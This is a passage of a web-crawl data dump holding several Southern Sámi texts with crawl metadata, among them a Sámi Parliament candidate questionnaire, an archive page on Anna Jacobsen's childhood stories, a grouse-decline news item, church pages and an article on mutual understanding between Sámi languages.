utfordringen sametinget må løse i kommende periode?\nArealsaker, både til lands- og til vanns.\nForklar hvorfor\/hvorfor ikke mineral- og gruvebedrifter skal få lov til å opprette og starte med drift i samiske områder?\nDisse er irreversible inngrep, derfor.\nForklar om du syns at dagens reindriftspolitikk fungerer eller ikke. Hva blir den viktigste saken i forhold til reindriftspolitikken i kommende periode?\nArealsaker og rovdyr.\nJordbruk, hva kan Sametinget bidra med til å sikre at unge kan fortsette med\/ etablere seg i næringen?\nGi alle primærnæringer positiv omtale.\nHva er den største utfordringen fiskerinæringen står overfor i Sápmi? Hvordan kan sametinget bidra til at også de mindre utøverne kan livnære seg med fiske?\nEndre lovverket.\nDe samiske språk, hvordan bør sametinget tilrettelegge for at de styrkes i kommende periode?\nNærmere kontakt med de faktiske brukerne, hvilke behov har de?\nHvilke nye arbeidsplasser er viktige å satse på i kommende periode?\nLokalsamfunnene og miljøene må høres for hvilke arbeidsplasser de kunne ville ha.\nHvilken sak har berørt deg mest hittil og hvorfor?\nAt reindriftsnæringen spesielt ikke ser ut til å få forståelse for sine behov.\nÅarjelsaemiengielesne:\nDov ïedtjh\nMah \"hobbyh\" dov?\nGïele, lohkedh\nMij dïhte stööremes maam datne leah dååjreme jieliedisnie?\nMaana jïh aahkovh\nMaam darjoeh gosse edtjh slaajperdidh?\nMusihkem goltelem. Sudokom loetem.\nGie dov stööremes åvteguvvie jïh man åvteste?\nIj naan sjïere, men tuhtjem Saepmie lea gellie smaave, stoerre nyjsenæjjah eeleme.\nBarkoeh jïh studijh\nMov lea lohkehtæjjaööhpehtimmie. Leam Noerhte-Trööndelagen jïlleskuvlesne barkeme (daelie Nord Universitet). Leam ööhpehtamme gaajhkine daltesinie skuvlesne aarhskuvlen raejeste jïlleskuvledaltesen raajan jïh mov lea dååjrehtimmie goh rektovre, sensovrebarkoste, learoevierhtiebarkoste jïh vielie.\nAaj meatan båatsosne.\nIetniengïele\/Gïele\nGåabpegh gïelh maahtam\nPolitihkeles dååjrehtimmie\nLeam NSR:n åvteste orreme Saemiedigkesne, sæjjasadtje 1. jïh minngemes boelhken\nVaajmoe-aamhtesh\nMejtie aamhtesidie sïjhth fokusem utnedh?\nMov leah gellielaaketje ïedtjh. Maanaj byjjenimmietsiehkie jïh voeresi tsiehkie.\nAamhtesh dajvi bïjre læjhkan stööremes fokusem åådtje dan åvteste dajvh geahpanieh fïerhten jaepien bielelen kompensasjovne vadtasåvva.\nMaam datne vïenhth lea dïhte stööremes haesteme maam Saemiedigkie tjuara loetedh båetijen boelhken?\nAamhtesh dajvi bïjre, dovne eatnamasse jïh tjaatsan.\nTjïelkesth man åvteste mineraale- jïh gruvasïelth edtjieh\/eah edtjh luhpiem åadtjodh tseegkedh jïh gruvagïehtelimmine nïerhkedh saemien dajvine?\nIj gåaredh dejtie earjoehtimmide jarkelidh vihth, dan åvteste.\nTjïelkesth mejtie datne tuhtjh daan beajjetje båatsoepolitihke hijvenlaakan jåhta jallh ij. Mij vihkielommes aamhtese båatsoepolitihkese sjædta båetijen boelhken?\nAamhtesh dajvi jïh juvri bïjre.\nJåartaburrie, maam Saemiedigkie maahta darjodh juktie hoksedh noerh maehtieh jåartaburrine jåerhkedh \/nïerhkedh?\nHijvenlaakan ållermaehtedh gaajhkide aalkoejieliemidie.\nMij dïhte stööremes haesteme maam gööleme Saepmesne åtna? Guktie Saemiedigkie maahta viehkiehtidh guktie aaj doh unnebe göölijh maehtieh jieliemassem göölemistie åadtjodh?\nLaakide jarkelidh.\nSaemien gïelh, guktie Saemiedigkie byöroe sjïehteladtedh juktie gïelide nænnoestehtedh båetijen boelhken?\nLïhkebe gaskese dej rïektes utniejidie, mah daerpiesvoeth dej?\nMah orre barkoesijjieh lea vihkeles dåarjoehtidh båetijen boelhken?\nTjuara goltelidh mah barkoesijjieh doh voenges siebriedahkh jïh byjresh sijhtieh utnedh.\nMij aamhtesidie datnem jeenjemes tsavtseme daan raajan jïh man åvteste?\nIj vååjnh goh joekoen båatsoe naan goerkesem åådtje sov daerpiesvoeti åvteste.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.nrk.no\/sapmi\/nora-marie-bransfjell-_-listetopp-for-nsr-i-sorsamisk-valgkrets-1.13600092","date":"2018-11-15T22:12:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742937.37\/warc\/CC-MAIN-20181115203132-20181115225132-00305.warc.gz","language":"sma","language_score":0.9905198216,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9905198216438293}","num_words":671,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vïjhte soptsesh Jaahkenelkien Aanneste – Anna Jacobsen\nSaemien våarhkoe \/Samisk arkiv aktem tjoejevåarhkoem åehpiedahta soptsesigujmie åarjelsaemien gïelesne Jaahkenelkien Aanneste.\nAnna Jacobsenen eejhtegh lin Anna Kristine Olofsdatter Marsfjell (1883 – 1961) jïh Nils Johan Nilsen Kappfjell (1878 – 1948). Fuelhkie bovtsigujmie gïehteli Voengelh-Njaarkesne, jïh gåetesne åarjelsaemien soptsestin. Nils Johan lij abpe sov jieledem akte guvhkiehtæjja saemien siebrieevtiedimmesne, jïh lij aaj meatan saemien tjåanghkosne Tråantesne 1917.\nAanna reakasovvi 1924, jïh easkah gosse saemieskuvlem eelki Havikesne daaroen lïeri. Jalhts daate lij akte saemieskuvle, dle læjhkan daaroen\/nöörjen mij lij skuvlen ööhpehtimmiegïele. Anna varke vuerkiehti man vihkeles lea saemien gïelem gorredidh. Gosse artiumem veelti goh geerve almetje, veelji åarjelsaemien baaltegïeline vaeltedh, jalhts tjoeri dam tjïrrehtidh namhtah lohkehtæjja. Mænngan sov gïeledaajroeh formaliseradi. Don baelien lij ajve nuepie eksamenem vaeltedh åarjelsaemien gïelesne gaskefaagedaltesisnie. Aanna dan åvteste noerhtesaemien maadthfaagem veelti åvtelen meehti åarjelsaemien gaskefaagem vaeltedh.\n- Aanna jïjnjem dorjeme juktie saemien gïelem vaarjelidh:\nÅarjelsaemien gïelesne ööhpehtamme gelline skuvline\n- Vihties boelhkem åtneme Åarjelsaemien magasijnesne gellie jaepieh\n- Meatan orreme barkosne åarjelsaemien baakoegærjam darjodh\n- Bierna Bientine ektine Maarhkosen vaentjelem jarkoestamme åarjelsaemien gïelese\n- Gïelekonsulente orreme Saemien ööhpehtimmieraeresne 1987 - 1991\n- Saalmh jarkoestamme åarjelsaemien gïelese\nLissine Aanna eadtjohkelaakan viehkiehtamme saemieskuvlem Aarbortesne vaarjelidh jïh saemien kultuvrejarngem, Sijti Jarnge, tseegkedh. Dïhte jienebh earoehtimmieh sov barkoen åvteste åådtjeme:\n- Gånkan earoehtimmieåasa sïlpesne - Nordlaanten fylhken kultuvreåasa\n- Aarborten tjïelten kultuvreåasa - Earoelektovre Nesnan jïlleskuvlesne\nAnna Jacobsen sealadi jaepien 2004.\nDaate materijaale båata Saemien Instituhten våarhkoste (NSI) Sami\/PA-1030. Daah soptsesh Jaahkenelkien Aanneste leah baantese vaalteme 1982 jïh lea akte vaatoe destie mij daennie våarhkosne gååvnese. Doh vïjhte soptsesh mejtie åadtjode daesnie govledh, leah Aannan maanabaeleste. Aanna jïjtje mij soptseste, jïh gaajhkh soptsesh leah åarjelsaemien gïelesne.\nGöölemisnie\nVoestes soptsesisnie lea göölemisnie tjidtjiebinie ektine. Dïhte sæjhta dah edtjieh dejtie smaave guelide gorredidh, guktie dïhte maahta dejtie bissedh. Men tjidtjebe tjïelkeste dah edtjieh dejtie olkese luejhtedh guktie dah maehtieh stuerebe sjïdtedidh.\nPlieniebeetnegh\nMubpene soptsesisnie aajkohke Sööfe lea guessine båateme. Dah stååkedieh dah leah geerve almetjh jïh edtjieh eekem åestedh, men eah beetnegh utnieh. Dle vueptiestægan doh stoerre plienieh pearasjædtojne, jïh dah gujht åajvoeh beetnegh sjidtieh. Men tjidtjebe tjïelkeste daate ij leah hijven sjædtojde, jïh dan åvteste pryövoeh plienide sjædtojde vihth dibrehtidh.\nTjaktjeleekedimmie\nGåalmadinie soptsesinie åådtje fuelhkiem dåeriedidh tjaktjeleekedimmesne. Dïhte buerkeste man jeatjahlaakan lea Maajehjaevresne sovkedh akten jueskies tjaktjebiejjien, viertiestamme giesine. Akte stoerre dååjrese sjædta gosse jïjtse klovse miesiem giedtesne åådtje. Vïerrebe gosse dam aktem vaanhtsem dassa jïh ij doesth dam naakenidie soptsestidh.\nBiessienjelleme\nNjealjadinie soptsesisnie vïellebe Gåstam dåerede biessienjelliemisnie. Biessie edtja åtnasovvedh gosse edtjieh orre derhviegåetiem tseegkedh mubpien giesien.\nViermieh jadtehtidh\nVïjhtedinie soptsesisnie lea meatan viermieh jadtehteminie. Desnie voejhkele sov gåeskuve Emmym lïerehtidh ryöknedh gosse ryöknoeh man gellie guelieh dah fïerhtene viermesne åadtjoeh.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.arkivverket.no\/om-oss\/sami-arkiiva\/vijhte-soptsesh-jaahkenelkien-aanneste--anna-jacobsen","date":"2018-12-11T22:02:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823705.4\/warc\/CC-MAIN-20181211215732-20181212001232-00402.warc.gz","language":"sma","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999929666519165}","num_words":414,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte Artsdatabanke edtja mubpien våhkan daam sijjien læstoem vuesiehtidh magkeres kreeken aalh mij Nøørjesne ånnaneminie, daam dihte plaerie Aftenposten tjaala.http:\/\/www.aftenposten.no\/fakta\/innsikt\/Rype-pa-rodlisten--kan-bety-mer-vern-og-mindre-jakt-7912695.html\nGïerene jih rïeksegen aale ånnanamme jih dellie edtja reereme daam voerkelidh. Dihte røøpses læstoe, vuesehte magkeres kreeken aalh mij nåhkeminie. Dihte orre røøpses læstoe daan tjaaktjen båata.\nVearolde jårkestovva.\nVijremem eah buektedh nyøjhkedh.\n– Minngemes luhkievijhte jaepieh, dihte gïerene jih rïegsege aale ånnanamme jih lehkie dejstie rïegksegistie minngemes luhkie jaepieh gaarvanamme, dihte dotkije John Atle Kålås jeahta, Norsk institutt for naturforskning,NINA. Dihte åejvie dïedtiem åtna dah vøønhtse ledtie bijre.\nDihte prosjeekte åejvie Snorre Henriksen mij røøpses læstojne barka jeahta dihte vearolde jih vijreme dorje rïeksege ledtie ånnanamme.\n– Jijnje maahta goerpedehtedh. Vuejnebe daate gïerene aale bijjene vaeresne ånnaneminie. Vienhtebe vearolde dihte jih nov son aaj dihte vijreme, dorje rïeksege ledtie nåhka. Henriksene jeahta.\nJaepeste jaapan maahta jorkesidh.\nIj dihte Nøørjen vijreme jih gøøleme siebrie vienhth dah rïeksegh øøvre nåhkieh. Daate lea jaepeste, jaapan guktie dihte jaepieh leah guktie dah leadtieh bearkadieh.\nTjoara akte gålmahtasse daejstie gïerene jih rïeksegistie ånnanidh eannan daan røøpses læstose haajpenieh.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.nrk.no\/sapmi\/gierene-jih-riegsege-aale-annanamme-1.12230374","date":"2019-02-20T04:29:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247494424.70\/warc\/CC-MAIN-20190220024254-20190220050254-00159.warc.gz","language":"sma","language_score":0.9998425245,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998425245285034}","num_words":172,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saaran Gćrja (SDO)\n\n\nSiri Broch Johansen\nMáttasámegillii\nAehtjebe lea Saarese soptsestamme bĺeries-skodtjen bijre mij Laaran- baektesne ĺrroeminie.\n11 jaepien bĺeries Saara lea sjiere laakan BaektienLaarese veadtaldihkie.\nSaaran gćrja lea rovmaane maanide jih noeride. Daesnie ĺadtjoeh dĺeriedidh altese gieltegs veartanasse. Saara joekoen hujnese sjćdta goh aehtjebe altese govsem leeki. Dihte Saaran břřremes voelpetje jih govsen nomme Naestie. Njiekedimmesne ĺĺdtje daejredh maam darjodh.\nGćrja lea Siri Broch Johansenen voestes gćrja maanide jih noeride. Aerebi leah tjihtsh jih novellh tjaaleme ovmese plaeride. Stuhtjetjem lea aaj teaterasse tjaaleme jih aaj learoegćrjam. Maahtah aaj daam gćrjam goltelidh goh tjoejenassegćrja.\nSiidut: 90\nISBN: 978-82-92044-86-5","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/calliidlagadus.org\/web\/index.php?egavpi=1&girji=165&giella1=sam","date":"2019-02-17T23:46:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247483873.51\/warc\/CC-MAIN-20190217233327-20190218015327-00328.warc.gz","language":"sma","language_score":0.9998550415,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998550415039062}","num_words":95,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BUERIE BÅETEME SAEMIEN NEDTE-JAAHKOEÖÖHPEHTÆMMAN\nmaanide gaskem 6-12 jaepieh\nDaate nedtesijjieh lea jupmeles jaahkoen jïh saemien kultuvren bïjre.\nDiedtieh dejtie ovmessie aamhtesidie edtjh vielie goeredh: Låavhtgåetie, såekie, tjaetsie, dålle, eatneme, biejjie jïh gærhkoe.\nNedtesijjien njieljie gïelesåarhth: åarjelsaemien, luvlesaemien, noerhtesaemien jïh daaroen.\nSaemien nedtejaahkoeööhpehtimmie lea evtiedamme Saemien Gærhkoeraereste Nöörjen gærhkosne. Saemien maanah jïh noerh edtjieh jïjtjemes årrodh jïjtsh jaahkoeööhpehtimmesne. Dïhte ööhpehtimmie edtja viedteldahkesne årrodh saemien dååjrehtimmesne jïh voenges saemien gærhkoejieliemisnie. Saemien voejkenesvoete edtja viehkine årrodh jielemelearose jïh jielemegoerkesasse.\nSaemien nedtejaahkoeööhpehtimmie lea evtiedamme dåarjojne destie Stööremes gaajhkeste -jaahkoeööhpehtimmie Nöörjen gærhkosne. Jaahkoeööhpehtimmie lea akte dejstie Nöörjen gærhkoen åejvieråajvarimmiesuerkijste. Daelie evtiesåvva aktem systemateles jaahkoeööhpehtimmiem gaajhkide mah leah kristesovveme 0-18 jaepiej gaskem, mij edtja sjïehteladtedh guktie maanah jih noerh maehtieh altese ektiedimmiem jaahkose evtiedidh jih dan gærhkose gusnie sijjiem utnieh.\nVijrebe maahtah lohkedh gieh dåarjedamme. Lohkh vielie!","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.abc-company.no\/osku\/ss\/omoss.html","date":"2019-02-16T20:45:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481111.41\/warc\/CC-MAIN-20190216190407-20190216212407-00352.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":129,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Daelie hov tïjje båateme mijjieh aelkebe sinsitniem guarkedh\nJarkoestimmie: Ellen Bull Jonassen\nMáret jïh Ingá Márjá Steinfjell dah mah daejnie haestieminie båetiejægan. Åabpetjeguaktah ligan meatan Saemien Gïelekonferansen digkiedimmesne Gïelegaaltijen åvtehkinie Marko Marjomaa jïh julevsaemine Jon Isak Gælok.\n– Sisvege vihkielåbpoe gïeleste\nSteinfjell & Steinfjell, maam dah guaktah aaj sov åarjelsaemien talkshow-programmem gåhtjoejigan, sån jaehkieh mijjieh maehtebe sinsitnine govlesadtedh, saaht maam gïelide mijjieh soptsestibie. Dah talkshowem utnin 2016 jïh seamma jaepien gïelebaalhkam vitnin.\n– Mijjen programme dan joekoen gellie goltelæjjah utni. Manne vïenhtem sisvege dïhte, jïh ij gïele mij goltelæjjide programmese geasa. Sïjhth akten teeman bijre govledh, jaa, dellie tjarke pryövoe guarkedh mij jeahtasåvva. Saaht guktie dellie joekehtsh eah leah dan stoerre guktie ij gåaredh sinsitniem guarkedh. Gåarede aaj akten programmese goltelidh gellien aejkien, juktie dellie aalkah guarkedh, Ingá Márjá Steinfjell jeehti.\n–Gosse aktem gïelem guarkah, dellie aelhkebe aktem vihth gïelem lïeredh. Tjuara haarjanidh vuesiehtimmien gaavhtan julevsaemien govledh, åabpebe Máret Steinfjell jeahta.\n–Gåarede govlesadtedh\nSaemien gïelegaaltije akte laavenjostoeårgaane noerhtelaantide, gusnie gïeletermologijine jïh gïelenormeradimmine barka. Barkoedåehkesne almetjh vïjhte ovmessie saemien gïelijste.\n– Dah gïelh leah åarjel-, julev-, noerhte-, anari- jïh luvliesaemien jïh ånnetji ånnetji libie buektiehtamme sinsitniem guarkedh. Mov dååjrehtimmiej mietie edtja maehtedh sinsitnine govlesadtedh jis fïereguhte jïjtse saemien gïelem sinsitnine soptseste. Gosse Saemien gïelegaaltijisnie eelkim 2013, idtjim dan jïjnjem åarjel- jïh julevsaemien govleme. Mænngan gosse gïelide govlim, dellie eelkim guarkedh. Ij leah dan stoerre joekehtsh goh almetjh vienhtieh, Gïelegaaltijen Marko Marjomaa jeahta.\n– Ij leah daerpies lïeredh doh mubpieh saemien gïelh soptsestidh, men jis leara guarkedh dellie dïhte joekoen hijven. Jïh gosse vielie gåvla, dellie aaj vielie guarkoe. Men eah gaajhkesh nuepiem utnieh dej mubpiej saemien gïeligujmie åahpenidh.\nAnnje daerpies toelhkestimmine\nMarjomaa ij læjhkan vïenhth mijjieh edtjebe toelhkide båarhte vaeltedh tjåanghkoetjiehtjielijstie. Gosse gïelegaaltije tjåanghkoeh åtna, gaajhkesh dovnesh jïjtsh saemien gïelem soptsestieh. Såemies aejkien tjoerebe toelhkem utnedh.\n–Tjoerebe hoksedh gaajhkesh dovnesh sinsitniem guarkoeh jïh dellie daerpies toelhkestimmine. Jis vihkeles aati bïjre soptseste, dellie ij leah nuekie sisvegem moenedidh. Olles naaken miste guarkah dellie tjuara læjhkan toelhkh utnedh. Vihkielommes lea mijjieh edtjebe nuepiem utnedh jïjtse gïelem soptsestidh, Marjomaa jeahta.\nIj leah jyöhkehke gænnah ektie tjaelemegïeline\n70-jaepiej galhkuvisnie aktem ektie saemien tjaelemegïelem raeriestin. Dellie voejhkelin, men idtjin buektehth.\nDaan biejjien eevre tjyölkehke vuajna daate ij gåessie gih sïjhth saatnan sjïdtedh.\n–Sijjeste mubpelen jåhta, juktie daelie aaj pijtesaemien barkoedåehkie nïerhkeme aktem byögkeles jååhkesjamme pijtesaemien ortografijem åadtjodh. Gïele lea domtesidie ektiedamme. Gosse gïele tjaelemegïelem åtna, dellie statuse lutnjesåvva. Ibie sån buektehth aktem ektie tjaelemegïelem darjodh, Marjomaa jeahta.\nOle Henrik Magga mij lij meatan don aejkien gosse lin barkeminie aktem ektie tjaelemegïelem buektiehtidh, jeahta ij leah naan hijven fåantoe daam barkoem vihth bæjjese vaeltedh.\n– Gåarede gujht aktem ektie tjaelemegïelem buektiehtidh, men åasa lea stoerre, dovne tïjje, vierhtieh jïh barkoe lea dovres jis edtja dam darjodh. Daelie hov mijjen gellie ovmessie tjaelemegïelh jïh ibie dan jïjnjem vitnh jis edtjebe dam jarkelidh. Daelie mijjen leah noerhte-, julev-, åarjel- jïh upmejesaemien jïh daelie pijtesaemien tjaelemegïeline barkebe. Jis edtjebe daam barkoem vihth bæjjese vaeltedh, dellie limh tjoereme gaajhkh gærjah orresistie tjaeledh, Magga jeahta mij buerebh veanhta jienebh ovmessie saemien gïelh lierieh guktie gaajhkh saemieh maehtieh sinsitniem guarkedh jalhts fïereguhte jïjtse saemiengïelesne tjaala.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/samimag.no\/sma\/content\/daelie-hov-tijje-baateme-mijjieh-aelkebe-sinsitniem-guarkedh","date":"2019-02-19T22:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247492825.22\/warc\/CC-MAIN-20190219203410-20190219225410-00360.warc.gz","language":"sma","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999955892562866}","num_words":504,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TV-Norgen «Tangerudbakken» lea göökte «Gullruten»-baalhkah aarebi vitneme. Daan hïeljen sijjen gåalmedem åadtjoejin Daan jaepien TV-ståanten åvteste dennie govhtede jïh minngemes boelhkesne raajroste «Tangerudbakken».\nDej kandidaati gaskem mah idtjin baalhkam åadtjoeh lij Karsten Warholmen VM-gullie jïh gaajh stoerre bååhperimmie gosse Therese Johaug dopingedåapmoem åadtjoeji.\n- Sjekk at du tillater cookies og nettleserdata fra besøkte nettsider.\n- Slett midlertidig data i nettleseren og prøv på nytt.\n- Logg ut og logg inn på nytt.\n- Send feilmelding til kundesenteret.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.snasningen.no\/nyheter\/2018\/05\/09\/Sn%C3%A5asehke-daan-jaepien-TV-st%C3%A5antesne-16662887.ece","date":"2019-02-18T23:10:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247488490.40\/warc\/CC-MAIN-20190218220415-20190219002415-00596.warc.gz","language":"sma","language_score":0.9527333379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9527333378791809, \"sme_Latn_score\": 0.03452520817518234}","num_words":73,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vielie bïevnesh dan jerkien bïjre jaepien 2012 govlehtallh Birgitta Simma Julevu\/Luleå stift: 0920-49 24 58.\nSkyllemejerkie saemide\nFïerhten jaepien Svïenske gærhkoe saemien skyllemejerkiem öörnede, dam dorje Saemien raerien, Svïenske gærhkosne, Saemien referensedåehkien Härnösanden jïh Julevu\/Luleå gærhkoevoeni jïh Sáminuorran ektine.\nBarkoedåehkie stiftine\nLuvleån, Härnösanden jïh Stuehkien stiftine leah barkoedåehkieh gärhkoen saemien barkose. Aaj Västeråsen jïh Göteborgen stiftine leah saemien gärhkoejieleme biejjie-öörnegisnie. Stifth jïh gärhkoe-åålmegh maehtieh saemien barkoen bïjre bieljielidh.\nJeatjah vihkeles laavenjassh raaran lea maahtoem stueriedidh saemiej jïh Sápmien bïjre jïh barkedh saemieh åadtjoeh meatan årrodh gärhkoenåårganine, naasjovne daltesne, stiftine jïh gärhkoe-åålmeginie.\nJarkoestimmieh leah vihkeles saemien barkosne\nSaemien gïele, smaaregigujmie, maadtoem jïh kultuvrem guadta. Dannasinie bijbelen tjaalegh saemiengïelese jarkoestidh vihkeles barkoe saemien gärhkoeraaran, seamma goh saalmh, gyrhkeles gärjah jarkoestidh j.j.v. Daelie lea Sveerjen-Nöörjen ektiebarkoe gïehteleminie bijbeletjaalegh åarjelsaemien gïelese jarkoestidh. Dah tjaalegh mah jïjnje åtnasåvva gyrhkesjimmine. Dovne jarkoesteminie jïh vuartasjiminie guktie noerhtesaemien saalmegärjam buektiehtidh.\nGärhkoen barkoe sjïere åårganisasjovne guktie saemiej gujmie jïh saemien gïeligujmie barkedh . Saemien gärhkoeraerie tseegkesovvi 1996 dïhte lea driekte Gärhkoeståvroen nuelesne. Raerien åejvie-ulmie lea saemien maadtoem jïh kultuvrem dåarjedidh. Ulmie lea aaj saemieh edtjieh meatan årrodh gärhkoesne jïh siebredahkesne. Raerie naasjovne daltesen nelnie barka.\nSaemien gyrhkesjimmiem earoehtidh\nSveerjen gärhkosne saemieh gyrhkesjieh sijjen gïelesne jïh joekedehtieh sijjen dååjrehtsh guktie lea unnebelåhkojne jïh aalkoealmetjinie årrodh. Gyrhkesjimmide, darjomesojkesjämman jïh nännoestämman saemieh jijtse kultuvren jïh jïelemedååjrehtsi bijre joekedieh mah leah vihkeles.\nNaemhtie aaj saemieh meatan gärhkoem tseegkedh mij soptseste mij lea reakta jïh rïektesvoete.\nMij lea orreme saemiej jïh Sveerjen gärhkoen gaskem lea guhkies soptstsese - dan båeries jaahkoste dan jaahkose mij lea Jupmielasse, dïedtehtimmie mij lij siebredahkeste jïh gärhkoste dan raajan goh gärhkoe mij daenbien säjhta saemide laavenjostedh. Gärhkoe säjhta saemieh, saemien kultuvrem jïh saemien gïelide bäjjoehtidh\nSaemiej leah sjïere jïh vihkeles dååjrehtsh mah maehtieh joekedidh gärhkoen barkose jïh teologijese, jïh dovne siebredahkese. Saemien gïelh hov akte dehtie gärhkoen gïelijste, läjhkan daerpies saemien gïeli åtnoe öövtiedidh gyrhkesjimmien gaavhtan jïh aaj jeatja darjoemasse.\nGellie jaepine joe gärhkoen barkosne vihkeles öövtiedidh guktie saemien gïeliejgujmie barkedh jïh guktie saemien vuekiem gärhkoen jaahkose jïh jieliemasse ektiedidh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.svenskakyrkan.se\/saemien-sveerjen-garhkosne","date":"2019-03-25T22:17:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204461.23\/warc\/CC-MAIN-20190325214331-20190326000331-00087.warc.gz","language":"sma","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000064373016357}","num_words":324,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vihkielommes filmesne leah karakteerh, jïh guktie karakteerh ovmessie tsiehkine dåemiedieh. Dorjehtæjjah tjuerieh karakteeride spealadidh juktie vuartasjæjjide eadtjalgehtieh jïh tsevtsieh. Maj-Doris Rimpi båeries karakteerem Christina spealede åenehkes-filmesne Stoerre vaerie.\nÅvtelen vaestedh, tjoerh åenehks-filmem Stoerre vaerie vuejnedh.\nLaavenjasse\nAnalyseredh karakteerem Christina\n- Maam Christinan bïjre tuhtjh rïhpestimmie-sceenesne?\n- Maam Christina baerneben jïh aahkoven bïjre tuhtjh?\n- Buerkesth guktie Christina juvlemisnie dåemede?\n- Guktie Christina skearkege filmen tjïrrh?\n- Maam vïenhth vijriebasse Christinine heannede?\n- Kjernestoff\nSameblodKjernestoff\nSaemien heartoehtæjjaKjernestoff\nSaemien nyjsenæjja-gïelhKjernestoff\nSoptsestimmievuekie jïh viehkievierhtiehKjernestoff\nLaavenjasse: Hilbes biigáKjernestoff\nSoptsesh aalkoe-almetji bïjreKjernestoff\nAnalyseredh filmem RebelKjernestoff\nTjaeleme-maalle: Filme-analyseKjernestoff","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182039\/topic:1:182011\/resource:1:177974","date":"2019-03-22T11:25:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202642.32\/warc\/CC-MAIN-20190322094932-20190322120932-00052.warc.gz","language":"sma","language_score":0.9996057153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996057152748108}","num_words":86,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voeresh veeljemelæstojne jïh voeresepolitihke veeljemeprogrammine\nNöörjen årroejijstie joe bijjelen 1. millijovnh årrojh bijjelen 60 jaepieh. Dan åvteste vihkeles båarasåbpoe almetjh nuepiem åadtjoeh meatan årrodh dennie politihkeles stuvremesysteemesne. Jïh joekoen gosse tjïelth jïh fylhkh tjåanghkan bïejesuvvieh jïh sagke stuerebe sjidtieh goh daelie, jïh politihkeles nænnoestimmieh enn guhkede mijjeste dorjesuvvieh goh aarebi. Daan biejjien fer vaenie båarasåbpoe almetjh meatan dejnie almetjeveeljeme årgaanine.\nSaemiedigkien voereseraeresne veanhta båarasåbpoe almetjh byöroeh vyljehke årrodh veeljemelæstojne tjåadtjodh jearsoes sijjine guktie dej lea nuepie veeljesovvedh tjïelteståvroej jïh\/jallh fylhkendigkiej sïjse. Gosse læstojne tjåadtjoeh, dej aaj leah jienebh nuepieh veeljesovvedh tjïelti jïh fylhki vueliemoenehtsi sïjse.\nSaemiedigkien voereseraerien mietie lea aaj vihkeles politihkeles krirrieh jïh læstoeh 